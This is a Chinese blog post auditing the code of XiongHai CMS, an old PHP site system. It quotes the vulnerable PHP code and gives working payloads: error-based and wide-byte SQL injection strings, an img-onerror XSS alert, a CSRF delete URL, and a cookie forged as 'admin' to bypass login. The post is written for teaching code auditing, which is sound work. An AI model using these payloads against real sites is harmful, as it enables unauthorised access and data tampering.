熊海CMS代码审计漏洞分析

 更新时间:2023年02月24日 10:48:41   作者:XINO  
这篇文章主要为大家介绍了熊海CMS代码审计漏洞分析,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪

前言

熊海CMS是由熊海开发的一款可广泛应用于个人博客,个人网站,企业网站的一套网站综合管理系统。作为一个早期的系统,里面代码存在许多漏洞利用点,且代码量低适合作为代码审计的入门挑战,本文就带领大家对该系统存在的漏洞进行分析。

基本结构

这里我选择使用小皮面板搭建在了本地,以便于调试错误,首先我们看看系统的结构:

——admin     //后台⽂件
——css       //css⽂件
——files    //功能函数⽂件
——images   //图⽚
——index.php //主⽬录⽂件
——install   //安装⽂件
——seacmseditor  //编辑器
——template      //模板⽂件
——upload    //⽂件上传⽬录

SQL注入漏洞

第一处

我们跳转到admin/files/editlink.php,分析里面的一段代码:

$id=$_GET['id'];
$type=$_GET['type'];
if ($type==1){
$query = "SELECT * FROM nav WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$nav = mysql_fetch_array($resul);
}

简单分析一下,我们通过GET输入id和type,之后type与1进行对比,匹配后会执行SQL语句,了解SQL注入漏洞的朋友可能会看出这里有一个单引号闭合漏洞,我们只需在参数前进行构造闭合单引号,之后便可以成功执行自定义的SQL语句:

r=editcolumn&type=1&id=1'%20or%20updatexml(1,concat(0x7e,database()),1)%23

需要注意的是作为结果只返回给我们SQL语句正确与否,所以这里考虑使用错报注入。

第二处

admin/files/editlink.php这个路径下有一段代码:

$id=$_GET['id'];
$query = "SELECT * FROM link WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$link = mysql_fetch_array($resul);

这里同样存在一个GET传参点,我们可以传入变量名为id的值,之后会执行SQL语句查询ID,若SQL语句有误,进行错报,因为是单引号闭合这里可以和第一处一样使用错报注入。

id=1'%20or%20updatexml(1,concat(0x7e,database()),1)%23

第三处

/file/download.php这个路径下的代码:

$llink=addslashes($_GET['r']);
$query = "SELECT * FROM nav WHERE link='$llink'";

可以看到里面有addslashes函数:

这个函数会将预定义字符转换加上反斜杠,所以我们无法进行正常的单引号闭合,需要想办法绕过,方法也很多,这里就简单用宽字节注入绕过,具体使用方法可以参考我之前的文章:

https://www.jb51.net/article/276349.htm

参考大佬的payload:

r=%df%27or%20if(1,sleep(3),1)%20%23

XSS漏洞

第一处

在/file/contact.php出存在漏洞代码:

$page=addslashes($_GET['page']); 
<?php echo $page?> 

可以看到直接echo出了page变量,而该变量是我们直接可以GET传入的,这里我们直接使用弹窗payload:

<img src=1 onerror=alert(/xss/)>

第二处

在/files/content.php出,存在与第一处差不多的代码:

$page=addslashes($_GET['page']);
if ($page<>""){
if ($page<>1){
$pages="第".$page."页 - ";
}

我们也可以向上面一样将语句传进变量里去。

CSRF漏洞

第一处

这里以/admin/files/wzlist.php为例:

$delete=$_GET['delete'];
if ($delete<>""){
$query = "DELETE FROM content WHERE id='$delete'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
echo "<script>alert('亲,ID为".$delete."的内容已经成功删除!');location.href='?r=wzlist'</script>";
exit;

可以看到代码执行删除SQL语句时并没有对代码进行检测,删除操作对应下面的界面:

我们先尝试删除然后进行抓包,抓到了删除时GET进行的传参:

?r=wzlist&delete=18

之后换另一个浏览器访问整个payload,结合该系统中的一个越权操作,将user改成admin,之后访问,成功实现了跳过验证进行了删除操作。

当然这只是其中的一个点,softlist.php也存在类似的CSRF漏洞。

垂直越权

第一处

在/inc/checklogin.php中,这里只看存在漏洞的代码:

$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;   

这里直接给user的cookie值设置成admin,即可跳转管理员界面。

结语

今天给大家带来的是一个小型CMS的代码审计,当然该系统的漏洞远不止文中提到的这些,总的来说还是挺简单的,有兴趣的小伙伴可以自己下载源码去搭建系统

以上就是熊海CMS代码审计漏洞分析的详细内容,更多关于熊海CMS代码审计的资料请关注脚本之家其它相关文章!

相关文章

  • 使用tp框架和SQL语句查询数据表中的某字段包含某值

    使用tp框架和SQL语句查询数据表中的某字段包含某值

    今天小编就为大家分享一篇使用tp框架和SQL语句查询数据表中的某字段包含某值,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2019-10-10
  • PHP的Laravel框架中使用消息队列queue及异步队列的方法

    PHP的Laravel框架中使用消息队列queue及异步队列的方法

    这篇文章主要介绍了PHP的Laravel框架中使用消息队列queue及异步队列的方法,针对Laravel 5.0后的版本,示例环境为Linux系统,需要的朋友可以参考下
    2016-03-03
  • PHP 源代码压缩小工具

    PHP 源代码压缩小工具

    所有的PHP文件包在一个PHP文件移除所有的注释移除多余空格保持输出纯PHP(即不需要任何额外的处理步骤来解析这个文件)
    2009-12-12
  • 通过源码解析Laravel的依赖注入

    通过源码解析Laravel的依赖注入

    这篇文章主要给大家介绍了如何通过源码解析Laravel的依赖注入的相关资料,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧。
    2018-01-01
  • php中simplexml_load_string使用实例分享

    php中simplexml_load_string使用实例分享

    这篇文章主要介绍了php中simplexml_load_string使用实例,需要的朋友可以参考下
    2014-02-02
  • php支付宝系列之电脑网站支付

    php支付宝系列之电脑网站支付

    这篇文章主要为大家详细介绍了php支付宝系列之电脑网站支付,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
    2018-05-05
  • thinkphp3.2.2实现生成多张缩略图的方法

    thinkphp3.2.2实现生成多张缩略图的方法

    这篇文章主要介绍了thinkphp3.2.2实现生成多张缩略图的方法,通过调用ThinkPHP扩展包的UploadFile类实现针对上传图片的缩略图处理,非常具有实用价值,需要的朋友可以参考下
    2014-12-12
  • PHP中ajax无刷新上传图片与图片下载功能

    PHP中ajax无刷新上传图片与图片下载功能

    本文给大家分享php ajax无刷新上传图片与图片下载功能的实现代码,非常不错,具有参考借鉴价值,需要的的朋友参考下
    2017-02-02
  • laravel使用Redis实现网站缓存读取的方法详解

    laravel使用Redis实现网站缓存读取的方法详解

    这篇文章主要给大家介绍了关于laravel使用Redis实现网站缓存读取的相关资料,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧。
    2018-03-03
  • 详解thinkphp中的volist标签

    详解thinkphp中的volist标签

    本文通过实例案例给大家介绍了thinkphp中的volist标签,本文给大家介绍的非常详细,具有参考借鉴价值,需要的朋友参考下吧
    2018-01-01

最新评论